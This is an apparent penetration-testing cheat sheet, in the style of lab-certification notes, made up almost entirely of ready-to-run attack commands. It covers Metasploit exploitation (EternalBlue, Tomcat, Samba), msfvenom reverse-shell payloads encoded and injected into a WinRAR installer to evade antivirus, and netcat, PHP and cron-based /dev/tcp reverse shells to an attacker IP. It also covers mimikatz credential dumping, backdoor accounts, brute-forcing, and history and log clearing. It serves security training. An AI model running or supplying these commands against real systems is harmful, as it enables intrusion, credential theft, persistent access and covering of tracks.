use auxiliary/scanner/smb/smb_ms17_010
```

```
# Kali Linux terminal
searchsploit "Microsoft Windows SMB" | grep -e "Metasploit"
```

```
# Metasploit Autopwn
wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb
sudo mv db_autopwn.rb /usr/share/metasploit-framework/plugins/

# msfconsole
load db_autopwn

# Enumerates exploits for each of the open ports
db_autopwn -p -t
# Limit to only the 445 port
db_autopwn -p -t -PI 445
```

```
# msfconsole
analyze
vulns
```

```
# NESSUS Results Import
db_import /home/kali/Downloads/MS3_zph3t5.nessus
hosts
services
vulns
vulns -p 445

search cve:2017 name:smb
search MS12-020
search cve:2019 name:rdp
search cve:2015 name:ManageEngine
search PHP CGI Argument Injection
```

```
# WMAP in msfconsole
load wmap
wmap_sites -a <TARGET_IP>
wmap_sites -l
wmap_targets -t <URL>
wmap_targets -l

wmap_run -t
wmap_run -e
wmap_vulns -l

# msfconsole
use auxiliary/scanner/http/http_put
```

Payloads

```
# MSFVENOM
msfvenom --list payloads
msfvenom --list formats
msfvenom --list encoders

# Win 32bit
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f
exe > <PAYLOAD_FILE_x86>.exe

# Win 64bit
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=
<LOCAL_PORT> -f exe > <PAYLOAD_FILE_x64>.exe

# Linux 32bit
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f elf
> <PAYLOAD_FILE_x86>

# Linux 64bit
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f elf
> <PAYLOAD_FILE_x64>

# Win 32bit + shikata_ga_nai encoded
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -e
x86/shikata_ga_nai -f exe > <PAYLOAD_ENCODED_x86>.exe

# Use more encoding iterations
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -i 10 -e
x86/shikata_ga_nai -f exe > <PAYLOAD_ENCODED_x86>.exe

# Linux 32bit + shikata_ga_nai encoded
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -i 10 -
e x86/shikata_ga_nai -f elf > <PAYLOAD_ENCODED_x86>

# Inject into Portable Executables
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -e
x86/shikata_ga_nai -i 10 -f exe -x winrar-x32-621.exe > winrar.exe
```

```
# MSF STAGED Payload
windows/x64/meterpreter/reverse_tcp

# MSF NON-STAGED Payload
windows/x64/meterpreter_reverse_https
```

```
# Upload the payload on the target and try it with MSFconsole
cd Payloads
sudo python -m http.server 8080
msfconsole -q

use multi/handler
set payload <MSFVENOM_PAYLOAD>
set LHOST <MSFVENOM_LOCAL_HOST_IP>
set LPORT <MSFVENOM_LOCAL_PORT>
run
```

```
# Automation
ls -lah /usr/share/metasploit-framework/scripts/resource

# Create a handler resource
nano handler.rc
# Insert the following lines
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
run
# Save it and exit

msfconsole -q -r handler.rc

# msfconsole
resource handler.rc

# Export inserted msfconsole commands into a resource script
makerc <FILE>.rc
```

Win Exploitation

Default MSF Start

```
service postgresql start && msfconsole -q
```

```
db_status
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>
workspace -a <SERVICE_NAME>
db_nmap -sS -sV -O <TARGET_IP>
# db_nmap -sS -sV -O -p- <TARGET_IP>

# For every exploit, check 'options' and 'info', setup accordingly
```

HFS

```
# HFS
search type:exploit name:rejetto
use exploit/windows/http/rejetto_hfs_exec
```

SMB

```
# SMB
search type:auxiliary EternalBlue
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/ms17_010_eternalblue
```

WINRM

```
# WinRM
search type:auxiliary winrm
use auxiliary/scanner/winrm/winrm_auth_methods

# Brute force WinRM login
search winrm_login
use auxiliary/scanner/winrm/winrm_login
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

# Launch command
search winrm_cmd
use auxiliary/scanner/winrm/winrm_cmd
set USERNAME <USER>
set PASSWORD <PW>
set CMD whoami

search winrm_script
use exploit/windows/winrm/winrm_script_exec
set USERNAME <USER>
set PASSWORD <PW>
set FORCE_VBS true
```

TOMCAT

```
# APACHE TOMCAT
search type:exploit tomcat_jsp
use exploit/multi/http/tomcat_jsp_upload_bypass
check

set payload java/jsp_shell_bind_tcp
set SHELL cmd
run
```

Linux Exploitation

FTP

```
# FTP
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor

/bin/bash -i
```

SAMBA

```
# SAMBA
search type:exploit name:samba
use exploit/linux/samba/is_known_pipename

# After exploit, proceed with Shell To Meterpreter if necessary
```

SSH

```
# SSH
search libssh_auth_bypass
use auxiliary/scanner/ssh/libssh_auth_bypass
set SPAWN_PTY true
run
sessions
sessions 1

# After exploit, proceed with Shell To Meterpreter if necessary
```

```
# Some shell enumeration
id
cat /etc/*release
uname -r
```

SMTP

```
# SMTP
search libssh_auth_bypass
use exploit/linux/smtp/haraka
set SRVPORT 9898
set email_to root@attackdefense.test
set payload linux/x64/meterpreter_reverse_http
set LHOST <LOCAL_IP>
set LPORT 8080
run
# This is a NON-staged payload
```

Post-Exploitation Fundamentals

```
# METERPRETER
run post/windows/manage/migrate
## Pivoting
portfwd add -l <LOCAL_PORT> -p <TARGET_PORT> -r <TARGET_IP>
```

```
# Manual SHELL TO METERPRETER
background # or CTRL+Z
sessions
search shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST <LOCAL_IP>
run

sessions
sessions 2

# Auto SHELL TO METERPRETER
sessions -u 1
sessions 3
```

Win Post-Exploitation

HTTP/HFS

```
# Meterpreter
sysinfo
getuid
getsystem
getuid
getprivs
hashdump
show_mount
ps
migrate

# msfconsole
use post/windows/manage/migrate
use post/windows/gather/win_privs
use post/windows/gather/enum_logged_on_users
use post/windows/gather/checkvm
use post/windows/gather/enum_applications
use post/windows/gather/enum_av_excluded
use post/windows/gather/enum_computers
use post/windows/gather/enum_patches
use post/windows/gather/enum_shares
use post/windows/manage/enable_rdp
set SESSION 1

loot
```

UAC

```
# Meterpreter
shell

# Win CMD
net users
net localgroup administrators

# Bypass UAC
background
sessions
use exploit/windows/local/bypassuac_injection
set payload windows/x64/meterpreter/reverse_tcp
set SESSION 1
set LPORT <LOCAL_PORT>
set TARGET Windows\ x64

getsystem
hashdump
```

TOKEN IMPERSONATION

```
# Privilege Escalation - Meterpreter
getuid
getprivs
hashdump
load incognito
list_tokens -u
impersonate_token "ATTACKDEFENSE\Administrator"
getuid
ps
migrate <PID>
hashdump
```

DUMP HASHES

```
# Kiwi - Meterpreter
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets

# Mimikatz - Meterpreter
cd C:\\
mkdir Temp
cd Temp
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell

mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
```

```
sekurlsa::logonPasswords
```

```
# PASS THE HASH - PSExec
hashdump
exit
search psexec
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set SMBUser Administrator
set SMBPass <ADMINISTRATOR_LM:NTLM_HASH>
```

PERSISTENCE

```
# Administrative Privileges required!

# RDP - Meterpreter
background

use exploit/windows/local/persistence_service
set payload windows/meterpreter/reverse_tcp
set SESSION 1

# Regain access
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <LOCAL_IP>
set LPORT <LOCAL_PORT>

# Enabling RDP
use post/windows/manage/enable_rdp
sessions
set SESSION 1
```

```
# KEYLOGGING - Meterpreter
keyscan_start
keyscan_dump
keyscan_stop
```

CLEARING

```
# Meterpreter
clearenv
```

PIVOTING

```
# Meterpreter
run autoroute -s <TARGET1_SUBNET_NETWORK>

use auxiliary/scanner/portscan/tcp
set RHOSTS <TARGET2_IP>
set PORTS 1-100
```

```
# Port Forwarding
sessions 1
portfwd add -l <LOCAL_PORT> -p <TARGET2_PORT> -r <TARGET2_IP>
background
db_nmap -sS -sV -p <LOCAL_PORT> localhost
# Target2 Exploitation
use exploit/windows/http/badblue_passthru
set payload windows/meterpreter/bind_tcp
set RHOSTS <TARGET2_IP>
set LPORT <LOCAL_PORT2>
run
```

Linux Post-Exploitation

```
# Meterpreter - 'root' user
shell

# Local machine Enumeration
/bin/bash -i
whoami
cat /etc/passwd
groups root
cat /etc/*issue
cat /etc/*release
uname -a
uname -r

netstat -antp
ss -tnl

ps aux
env

# msfconsole
use post/linux/gather/enum_configs
use post/multi/gather/env
use post/linux/gather/enum_network
use post/linux/gather/enum_protections
use post/linux/gather/enum_system
use post/linux/gather/checkcontainer
use post/linux/gather/checkvm
use post/linux/gather/enum_users_history
set SESSION 1

loot
```

```
# PRIVILEGE ESCALATION - chkrootkit
ps aux
use exploit/unix/local/chkrootkit
set CHKROOTKIT /bin/chkrootkit
set SESSION 1
set LHOST <LOCAL_IP>
```

```
# Dumping Hashes
use post/linux/gather/hashdump
use post/multi/gather/ssh_creds
use post/linux/gather/ecryptfs_creds
use post/linux/gather/enum_psk
use post/linux/gather/pptpd_chap_secrets
set SESSION 1
```

```
# PERSISTENCE
# Meterpreter - Manual
shell

whoami
    root
cat /etc/passwd
useradd -m ftp -s /bin/bash
passwd ftp
usermod -aG root ftp
usermod -u 15 ftp
groups ftp

# SSH Key
use post/linux/manage/sshkey_persistence
set CREATESSHFOLDER true
set SESSION 1

# Persistence Test
loot
cat /root/.msf4/loot/DATE_Linux_Persistenc_<TARGET_IP>_id_rsa_.txt
# Exit all the msfconsole sessions and close it
exit -y

vim ssh_key # paste Key
chmod 0400 ssh_key
ssh -i ssh_key root@<TARGET_IP>
```

Armitage

```
# Armitage Kali Linux - Install
sudo apt install armitage -y
sudo msfdb init
sudo nano /etc/postgresql/15/main/pg_hba.conf
# On line 87 switch “scram-sha-256” to “trust”
sudo systemctl enable postgresql
sudo systemctl restart postgresql
sudo armitage
```

Exploitation

Vulnerability Scanning

```
# BANNER GRABBING
nmap -sV -O <TARGET_IP>
nmap -sV --script=banner <TARGET_IP>
ls -lah /usr/share/nmap/scripts | grep <KEYWORD>

nc <TARGET_IP> <TARGET_OPEN_PORT>
```

Exploits

```
# SEARCHSPLOIT - Install
sudo apt update && sudo apt -y install exploitdb
## Update
searchsploit -u

searchsploit [options] <term>

# Copy an exploit to the current working dir
searchsploit -m <EXPLOIT_ID>
# Case sensitive search
searchsploit -c OpenSSH
# Search just the exploit title
searchsploit -t vsftpd
# Exact search on title
searchsploit -e "Windows 7"

# Filters search
searchsploit remote windows smb
searchsploit remote linux ssh
searchsploit remote linux ssh OpenSSH
searchsploit remote webapps wordpress
searchsploit local windows
searchsploit local windows | grep -e "Microsoft"

# List online links
searchsploit -w remote windows smb | grep -e "EternalBlue"
```

```
# CROSS COMPILING
sudo apt -y install mingw-w64 gcc

## Windows Target
searchsploit VideolAN VLC SMB
searchsploit -m 9303
# Compile for x64
x86_64-w64-mingw32-gcc 9303.c -o exploit64.exe
# Compile for x86 (32-bit)
i686-w64-mingw32-gcc 9303.c -o exploit32.exe

## Linux Target
searchsploit Dirty Cow
```

```
searchsploit -m 40839
gcc -pthread 40839.c -o dirty_exploit -lcrypt
```

Shells

```
# NETCAT - Install
sudo apt update && sudo apt install -y netcat
# or upload the nc.exe on the target machine

nc <TARGET_IP> <TARGET_PORT>
nc -nv <TARGET_IP> <TARGET_PORT>
nc -nvu <TARGET_IP> <TARGET_UDP_PORT>

## NC Listener
nc -nvlp <LOCAL_PORT>
nc -nvlup <LOCAL_UDP_PORT>

## Transfer files
# Target machine
nc.exe -nvlp <PORT> > test.txt
# Attacker machine
echo "Hello target" > test.txt
nc -nv <TARGET_IP> <TARGET_PORT> < test.txt
```

```
# BIND SHELL

## Target Win machine - Bind shell listener with executable cmd.exe
nc.exe -nvlp <PORT> -e cmd.exe
## Attacker Linux machine
nc -nv <TARGET_IP> <PORT>

## Target Linux machine - Bind shell listener with /bin/bash
nc -nvlp <PORT> -c /bin/bash
## Attacker Win machine
nc.exe -nv <TARGET_IP> <TARGET_PORT>
```

```
# REVERSE SHELL

## Attacker Linux machine
nc -nvlp <PORT>
## Target Win machine
nc.exe -nv <ATTACKER_IP> <ATTACKER_PORT> -e cmd.exe

## Attacker Linux machine
nc -nvlp <PORT>
## Target Linux machine
nc -nv <ATTACKER_IP> <ATTACKER_PORT> -e /bin/bash
```

```
# Spawn shells
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
/usr/bin/script -qc /bin/bash /dev/null
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
IRB: exec "/bin/sh"
vi: :!bash
vi: :set shell=/bin/bash:shell
nmap: !sh
```

Frameworks

```
# METASPLOIT - example
service postgresql start && msfconsole -q
db_status
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>
workspace -a <SERVICE_NAME>

search <SERVICE_NAME>
use exploit/multi/http/processmaker_exec
options
set USERNAME <USER>
set PASSWORD <PW>
run
```

```
# POWERSHELL EMPIRE - Install
sudo apt update && sudo apt install -y powershell-empire

## Server run
sudo powershell-empire server

## Client run (another terminal session)
sudo powershell-empire client
listeners
agents
interact <ID>
history
```

Win Exploitation

```
# Attacker's machine - Find target IP
cat /etc/hosts
ping <TARGET_IP>
ping <TARGET_FQDN>
mkdir <TARGET>
cd <TARGET>/
```

```
# Port Scanning - 1000 common ports or more advanced scans
nmap -sV <TARGET_IP>
nmap -T4 -PA -sC -sV -p 1-10000 <TARGET_IP> -oX nmap_10k
nmap -T4 -PA -sC -sV -p- <TARGET_IP> -oX nmap_all
nmap -sU -sV <TARGET_IP> -oX nmap_udp

# Banner Grabbing
nc -nv <TARGET_IP> 21

# Enumeration
service postgresql start && msfconsole
db_status
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>
workspace -a <SERVICE_NAME>
db_import nmap_10k

hosts
services
use auxiliary/scanner/smb/smb_version
run
hosts
```

IIS/FTP

```
# Targeting IIS/FTP
nmap -sV -sC -p21,80 <TARGET_IP>
## Try anonymous:anonymous
ftp <TARGET_IP>

## Brute-force FTP
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P
/usr/share/wordlists/metasploit/unix_passwords.txt <TARGET_IP> ftp

hydra -l administrator -P /usr/share/wordlists/metasploit/unix_users.txt <TARGET_IP> ftp -I
hydra -l <USER> -P /usr/share/wordlists/metasploit/unix_users.txt <TARGET_IP> ftp -I

## Generate an .asp reverse shell payload
cd <TARGET>/
ip -br -c a
msfvenom -p windows/shell/reverse_tcp LHOST=<LOCAL_IP> LPORT=<LOCAL_PORT> -f asp > shell.aspx

## FTP Login with <USER>
ftp <TARGET_IP>
put shell.aspx

## msfconsole
use multi/handler
set payload windows/shell/reverse_tcp
set LHOST <LOCAL_IP>
set LPORT <LOCAL_PORT>

## Open http://<TARGET_IP>/shell.aspx . A reverse shell may be received.
```

OPENSSH

```
# Targeting OPENSSH
nmap -sV -sC -p 22 <TARGET_IP>

searchsploit OpenSSH 7.1

## Brute-force SSH
hydra -l administrator /usr/share/wordlists/metasploit/unix_users.txt <TARGET_IP> ssh
hydra -l <USER> -P /usr/share/wordlists/metasploit/unix_users.txt <TARGET_IP> ssh

## SSH Login with <USER>
ssh <USER>@<TARGET_IP>

## Win
bash
net localgroup administrators
whoami /priv

# msfconsole
use auxiliary/scanner/ssh/ssh_login
setg RHOST <TARGET_IP>
setg RHOSTS <TARGET_IP>
set USERNAME <USER>
set PASSWORD <PW>
run
session 1
# CTRL+Z to background
sessions -u 1
```

SMB

```
# Targeting SMB
nmap -sV -sC -p 445 <TARGET_IP>

## Brute-force SMB
hydra -l administrator -P /usr/share/wordlists/metasploit/unix_passwords.txt <TARGET_IP> smb
hydra -l <USER> -P /usr/share/wordlists/metasploit/unix_passwords.txt <TARGET_IP> smb

## Enumeration
smbclient -L <TARGET_IP> -U <USER>
smbmap -u <USER> -p <PW> -H <TARGET_IP>
enum4linux -u <USER> -p <PW> -U <TARGET_IP>

## msfconsole
use auxiliary/scanner/smb/smb_enumusers
set RHOSTS <TARGET_IP>
set SMBUser <USER>
set SMBPass <PW>
run

## SMB Login with <USER>
locate psexec.py
cp /usr/share/doc/python3-impacket/examples/psexec.py .
```

```
chmod +x psexec.py
python3 psexec.py Administrator@<TARGET_IP>
python3 psexec.py <USER>@<TARGET_IP>

# msfconsole - Meterpreter
use exploit/windows/smb/psexec
set RHOSTS <TARGET_IP>
set SMBUser Administrator
set SMBPass <PW>
set payload windows/x64/meterpreter/reverse_tcp
run

# Without <USER>:<PW>, exploit a vulnerability, e.g. EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <TARGET_IP>
run
```

MYSQL

```
# Targeting MYSQL (Wordpress)
nmap -sV -sC -p 3306,8585 <TARGET_IP>

searchsploit MySQL 5.5

## Brute-force MySql - msfconsole
msfconsole -q
use auxiliary/scanner/mysql/mysql_login
set RHOSTS <TARGET_IP>
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
run

## MYSQL Login with <USER>
mysql -u root -p -h <TARGET_IP>

show databases;
use <db>;
show tables;
select * from <table>;

## msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <TARGET_IP>
run

sysinfo
cd /
cd wamp
dir
cd www\\wordpress
cat wp-config.php
shell
```

Linux Exploitation

```
# Attacker's machine - Find target IP
cat /etc/hosts
ping <TARGET_IP>
ping <TARGET_FQDN>
mkdir <TARGET>
cd <TARGET>/

# Port Scanning - 1000 common ports or more advanced scans
nmap -sV <TARGET_IP>
nmap -sV -p 1-10000 <TARGET_IP> -oX nmap_10k
nmap -T4 -PA -sC -sV -p 1-10000 <TARGET_IP> -oX nmap_10k
nmap -T4 -PA -sC -sV -p- <TARGET_IP> -oX nmap_all
nmap -sU -sV <TARGET_IP> -oX nmap_udp

# Banner Grabbing - various ports e.g.
nc -nv <TARGET_IP> 512
nc -nv <TARGET_IP> 513
nc -nv <TARGET_IP> 1524

# Enumeration
cat /etc/*release
whoami
```

VSFTPD

```
# Targeting VSFTPD
nmap -sV -sC -p 21 <TARGET_IP>

## Try anonymous:anonymous
ftp <TARGET_IP>

## Exploit vsFTPd
searchsploit vsftpd
searchsploit -m 49757
vim 49757.py
chmod +x 49757.py
python3 49757.py <TARGET_IP>

## Enumerate SMTP - msfconsole
use auxiliary/scanner/smtp/smtp_enum
setg RHOSTS <TARGET_IP>
set UNIXONLY true
run

## Brute-force FTP
hydra -l <USER> -P /usr/share/metasploit-framework/data/wordlists/unix_users.txt <TARGET_IP>
ftp

## Modify the shell via FTP
cp /usr/share/webshells/php/php-reverse-shell.php .
mv php-reverse-shell.php shell.php
vim shell.php
```

```
## Change the $ip & $port variable to the Attacker's IP & port

ftp <TARGET_IP>
cd /
cd /var/www/dav
put shell.php

## Attacker listener
nc -nvlp <PORT>
## Open http://<TARGET_IP>/dav/shell.php

/bin/bash -i
```

```
# Targeting PHP
nmap -sV -sC -p 80 <TARGET_IP>

## Browse
http://<TARGET_IP>/phpinfo.php

## Manual Exploitation PHP CGI
searchsploit php cgi
searchsploit -m 18836
python2 18836.py <TARGET_IP> 80
## If it executes, modify the .py script
vim 18836.php
## PHP Reverse Shell
pwn_code = """<?php $sock=fsockopen("<ATTACKER_IP>",<PORT>);exec("/bin/sh -i <&4 >&4 2>&4");?
>"""

## Attacker listener in another tab
nc -nvlp <PORT>
## Launch the exploit
python2 18836.py <TARGET_IP> 80
```

```
# Targeting SAMBA
nmap -sV -p 445 <TARGET_IP>

nc -nv <TARGET_IP> 445

searchsploit samba 3.0.20

# msfconsole
use auxiliary/scanner/smb/smb_version
setg RHOSTS <TARGET_IP>
run

use exploit/multi/samba/usermap_script
run
background
sessions -u 1
sessions 2

cat /etc/shadow
```

Obfuscation

```
# SHELLTER - Install
sudo apt update && sudo apt install -y shellter
sudo dpkg --add-architecture i386 && sudo apt update && sudo apt -y install wine32
rm -r ~/.wine

cd /usr/share/windows-resources/shellter
sudo shellter

mkdir AVBypass
cd AVBypass
cp /usr/share/windows-binaries/vncviewer.exe .
# Proceed in Sellter window
```

```
# INVOKE-OBFUSCATION PowerShell script - Install
cd /opt
sudo git clone https://github.com/danielbohannon/Invoke-Obfuscation.git
sudo apt update && sudo apt install -y powershell

pwsh
cd /opt/Invoke-Obfuscation/
Import-Module ./Invoke-Obfuscation.psd1
cd ..
Invoke-Obfuscation
```

Post-Exploitation

Win Local Enumeration

```
# MSF Meterpreter
getuid
sysinfo
show_mount
cat C:\\Windows\\System32\\eula.txt
getprivs
pgrep explorer.exe
migrate <PROCESS_ID>

# Win CMD - run 'shell' in Meterpreter
## System
hostname
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn

## Users
whoami
whoami /priv
query user
net users
net user <USER>
net localgroup
net localgroup Administrators
```

```
net localgroup "Remote Desktop Users"

## Network
ipconfig
ipconfig /all
route print
arp -a
netstat -ano
netsh firewall show state
netsh advfirewall show allprofiles

## Services
ps
net start
wmic service list brief
tasklist /SVC
schtasks /query /fo LIST
schtasks /query /fo LIST /v

# Metasploit
use post/windows/gather/enum_logged_on_users
use post/windows/gather/win_privs
use post/windows/gather/enum_logged_on_users
use post/windows/gather/checkvm
use post/windows/gather/enum_applications
use post/windows/gather/enum_computers
use post/windows/gather/enum_patches
use post/windows/gather/enum_shares

# JAWS - Automatic Local Enumeration - Powershell
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename Jaws-Enum.txt
```

Linux Local Enumeration

```
# MSF Meterpreter
getuid
sysinfo
ifconfig
netstat
route
arp
ps
pgrep vsftpd

# Linux SHELL - run 'shell' in Meterpreter
## System
/bin/bash -i
cd /root
hostname
cat /etc/*issue
cat /etc/*release
uname -a
dpkg -l

env
```

```
lscpu
free -h
df -h
lsblk | grep sd

## Users
whoami
ls -lah /home
cat /etc/passwd
cat /etc/passwd | grep -v /nologin
groups <USER>
groups root
groups
who
w
last
lastlog

## Network
ifconfig
ip -br -c a
ip a
cat /etc/networks
cat /etc/hostname
cat /etc/hosts
cat /etc/resolv.conf
arp -a

## Services
ps
ps aux
ps aux | grep msfconsole
ps aux | grep root
top
cat /etc/cron*
crontab -l

# Metasploit
use post/linux/gather/enum_configs
use post/linux/gather/enum_network
use post/linux/gather/enum_system
use post/linux/gather/checkvm

# LINENUM - Automatic Enumeration
cd /tmp
upload LinEnum.sh
shell
/bin/bash -i
chmod +x LinEnum.sh
./LinEnum.sh

./LinEnum.sh -s -k <keyword> -r <report> -e /tmp/ -t
```

Transferring Files

```
# PYTHON WEB SERVER
python -V
python3 -V
py -v # on Windows

# Python 2.7
python -m SimpleHTTPServer <PORT_NUMBER>

# Python 3.7
python3 -m http.server <PORT_NUMBER>

# On Windows, try
python -m http.server <PORT>
py -3 -m http.server <PORT>
```

```
# TMUX Terminal Multiplexer
sudo apt install tmux -y
```

Shells

```
cat /etc/shells
    # /etc/shells: valid login shells
    /bin/sh
    /bin/dash
    /bin/bash
    /bin/rbash

/bin/bash -i

/bin/sh -i
```

TTY Shells

```
# BASH
/bin/bash -i
/bin/sh -i
SHELL=/bin/bash script -q /dev/null

# Setup environment variables
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=/bin/bash
```

```
# PYTHON
python --version
python -c 'import pty; pty.spawn("/bin/bash")'

## Fully Interactive TTY
# Background (CTRL+Z) the current remote shell
stty raw -echo && fg
# Reinitialize the terminal with reset
reset
```

```
# FULL TTY PYTHON3 SHELL
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background CTRL+Z
stty raw -echo && fg
# ENTER
export SHELL=/bin/bash
export TERM=screen
stty rows 36 columns 157
# stty -a to get the rows & columns of the attacker terminal
reset
```

```
# PERL
perl -h
perl -e 'exec "/bin/bash";'
```

Win Privilege Escalation

```
# PrivescCHECK - PowerShell script
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report
PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML,XML"

## Basic mode
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

## Extended Mode + Export Txt Report
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report
PrivescCheck_%COMPUTERNAME%"
```

Linux Privilege Escalation

```
# Writable files
find / -not -type l -perm -o+w

# e.g. of /etc/shadow with write permissions
openssl passwd -1 -salt abc password123
vim /etc/shadow # Paste the hashed password
su

# SETUID - SUDO privileges
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null
```

```
sudo -l

# e.g. User can run 'man' with SUDO Privileges
sudo man ls
    !/bin/bash
```

Win Persistence

```
# msfcosole - Admin Meterpreter
search platform:windows persistence
use exploit/windows/local/persistence_service
set payload windows/meterpreter/reverse_tcp
set LPORT <PORT>
set SESSION 1
run

# Meterpreter - Enable RDP
run getgui -e -u <NEWUSER> -p <PW>
```

Linux Persistence

```
ls -lah ~/.ssh/
cat ~/.ssh/id_rsa
cat ~/.ssh/authorized_keys
cat ~/.ssh/known_hosts

# Download the 'id_rsa' file
scp <USER>@<TARGET_IP>:~/.ssh/id_rsa .
chmod 400 id_rsa

ssh -i id_rsa <USER>@<TARGET_IP>

# Cron Jobs
cat /etc/cron*
echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1'" > cron
crontab -i cron
crontab -l

# Setup a 'nc' listener and wait for the Bash Reverse Shell
nc -nvlp <PORT>
```

Dumping & Cracking

Windows

```
hashdump

# JohnTheRipper
john --list=formats | grep NT
john --format=NT hashes.txt

gzip -d /usr/share/wordlists/rockyou.txt.gz
john --format=NT win_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
hashcat -a 3 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -a 3 -m 1000 --show hashes.txt /usr/share/wordlists/rockyou.txt
```

Linux

```
cat /etc/shadow

# Metasploit
use post/linux/gather/hashdump

john --format=sha512crypt linux.hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Hashcat
hashcat --help | grep 1800
hashcat -a 3 -m 1800 linux.hashes.txt /usr/share/wordlists/rockyou.txt
```

Pivoting

```
# Meterpreter on Target1
run autoroute -s <TARGET1_SUBNET_NETWORK>
run autoroute -p
run arp_scanner -r <TARGET1_SUBNET_NETWORK>

background
use auxiliary/scanner/portscan/tcp
set RHOSTS <TARGET2_IP>
set PORTS 1-100
run

# MeterpreterPort Forwarding
portfwd add -l <LOCAL_PORT> -p <TARGET_PORT> -r <TARGET_IP>

db_nmap -sS -sV -p <LOCAL_PORT> localhost
```

Clearing Tracks

```
# Windows C:\Temp - Metasploit e.g.
cd C:\\
mkdir Temp
cd Temp # Clean this C:\Temp directory

## Cleanup Meterpreter RC File:
cat /root/.msf4/logs/persistence/<CLEANING_SCRIPT>.rc
background
sessions 1
resource /root/.msf4/logs/persistence/<CLEANING_SCRIPT>.rc
run multi_console_command -r /root/.msf4/logs/scripts/getgui/<CLEANING_SCRIPT>.rc

clearenv
```

```
# Linux /tmp
cd /tmp
history -c
cat /dev/null > ~/.bash_history
```

Social Engineering

```
# GOPHISH - Linux Install
cd /opt/
# Get the latest version link from https://github.com/gophish/gophish/releases/
sudo wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
sudo unzip -d gophish gophish-v0.12.1-linux-64bit.zip
sudo chmod +x gophish/gophish

cd /opt/gophish && sudo ./gophish

## Run in Docker instead
docker run -ti -p 3333:3333 --rm gophish/demo
```

Web Application Penetration Testing

Tools

```
# Gobuster - Install
sudo apt update && sudo apt install -y gobuster

# Dirbuster - Install
sudo apt update && sudo apt install -y dirb

# Nikto - Install
sudo apt update && sudo apt install -y nikto

# BurpSuite - Install
sudo apt update && sudo apt install -y burpsuite

# SQLMap - Install
sudo apt update && sudo apt install -y sqlmap

# XSSer - Install
sudo apt update && sudo apt install -y xsser

# WPScan - Install
sudo apt update && sudo apt install -y wpscan

# Hydra - Install
sudo apt update && sudo apt install -y hydra
```

Enumeration & Scanning

```
nmap -sS -sV -p 80,443,3306 <TARGET_IP>

# Dirbuster
dirb http://<TARGET_IP>

# CURL
curl -I <TARGET_IP>
curl -X GET <TARGET_IP>
curl -X OPTIONS <TARGET_IP> -v
curl -X POST <TARGET_IP>
curl -X POST <TARGET_IP>/login.php -d "name=john&password=password" -v
curl -X PUT <TARGET_IP>

curl <TARGET_IP>/uploads/ --upload-file hello.txt
curl -X DELETE <TARGET_IP>/uploads/hello.txt -v

# Gobuster
gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt -b 403,404

gobuster dir -u http://<TARGET_IP> -w /usr/share/wordlists/dirb/common.txt -b 403,404 -x
.php,.xml,.txt -r

gobuster dir -u http://<TARGET_IP>/data -w /usr/share/wordlists/dirb/common.txt -b 403,404 -x
.php,.xml,.txt -r

# Nikto
nikto -h http://<TARGET_IP> -o niktoscan.txt

